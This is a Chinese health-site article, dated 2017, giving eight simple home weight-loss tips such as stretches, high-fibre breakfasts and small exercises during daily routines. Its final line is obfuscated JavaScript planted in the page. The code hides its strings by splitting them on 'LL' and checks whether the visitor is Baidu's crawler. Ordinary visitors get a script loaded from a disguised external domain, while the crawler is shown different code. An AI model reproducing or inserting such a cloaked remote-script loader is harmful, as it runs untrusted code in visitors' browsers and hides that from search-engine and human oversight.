当前位置:首页 > 减肥 > 减肥方法 > 正文

家中减肥方法是什么

2017-04-26 18:33:39  来源:360常识网   热度:
导语:减肥是一个重大的事情,尤其是对女性来说,身体上的赘肉简直就是噩梦,而减肥就成了女性朋友的必修课,要怎么才能有效的减肥呢,但是很多的

减肥是一个重大的事情,尤其是对女性来说,身体上的赘肉简直就是噩梦,而减肥就成了女性朋友的必修课,要怎么才能有效的减肥呢,但是很多的人为了减肥没有找到正确的方法,甚至会越减越肥,减肥是一个需要长期坚持的过程,还要找对方法才能够达到目的,下面就为大家介绍一下家中减肥方法,希望能够帮助到大家,我们一起来看看吧。

1、床上晨操

瘦身效果:锻炼深层肌肉,多耗10大卡

醒来的时候慢慢坐起,不要用手撑;双腿伸直,身体向前弯,直到感觉背部和腿后肌稍微拉紧。稍停,用腹肌力量躺下,休息片刻,重复做两次。

2、谷类减肥

瘦身效果:少吸收100大卡

不习惯吃粗糙的谷类脆片早餐吗?不妨加几茶匙麦胚芽或燕麦麸,冲成3/4杯的低糖全谷脆片,相当于3克以上的纤维。

3、蛋白质防饿

瘦身效果:少吸收200大卡或以上的热量

根据研究报告,早餐吃得越多,其它各餐就吃得越少。吃过谷类脆片,不妨再加一只煮熟的蛋或一片部分脱脂的奶酪,让肚子饱满,免得午饭时间没到,就想吃个蛋糕。

4、刷牙减肥

瘦身效果:多耗10大卡

刷牙时用单脚轮流站立,换边刷牙时就换脚(每次30秒钟)。平衡运动可锻炼深层肌肉,对脑部也有好处。

5、看电视减肥

瘦身效果:增强腹肌,多耗24大卡

每半小时长的电视节目,平均有8分钟的广告,可以用遥控器来减肥。把遥控器放在茶几上伸手拿不到的地方,躺着看的话,就放在沙发另一头的扶手上。

6、楼梯减肥

瘦身效果:多耗10大卡

背背包上楼梯前,先在阶梯前停下,锻炼小腿。一手扶栏杆,弯右腿。左脚前掌踩在阶梯边,脚后跟下压,再提高成踮脚状。稍停重做,每只脚做8-12次。

7、喝汤减肥

瘦身效果:少吸收100大卡

点菜的时候要点清汤,别点浇了两茶匙全脂奶制品的沙拉,不但减少吸收半数热量,而且感觉更饱,主菜来的时候,就会少吃些。

8、水果减肥

瘦身效果:少吸收275大卡

喜欢吃馅饼吗?减肥不妨碍享受口福:一把樱桃、切片苹果或梨子,洒些代糖,加盖用微波炉加热一分钟,味道就像水果派的馅一样好吃。

相信通过上面所介绍的家中减肥方法,大家已经了解了,另外想要告诉大家,减肥可以在生活中的点点滴滴来进行减肥,我们可以上床前躺在地板上,两腿放床边或椅边,慢慢屈膝,把臀部提离地板,坚持一会儿,重复做几遍,每天坚持下去,一定能够达到自己想要的效果。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}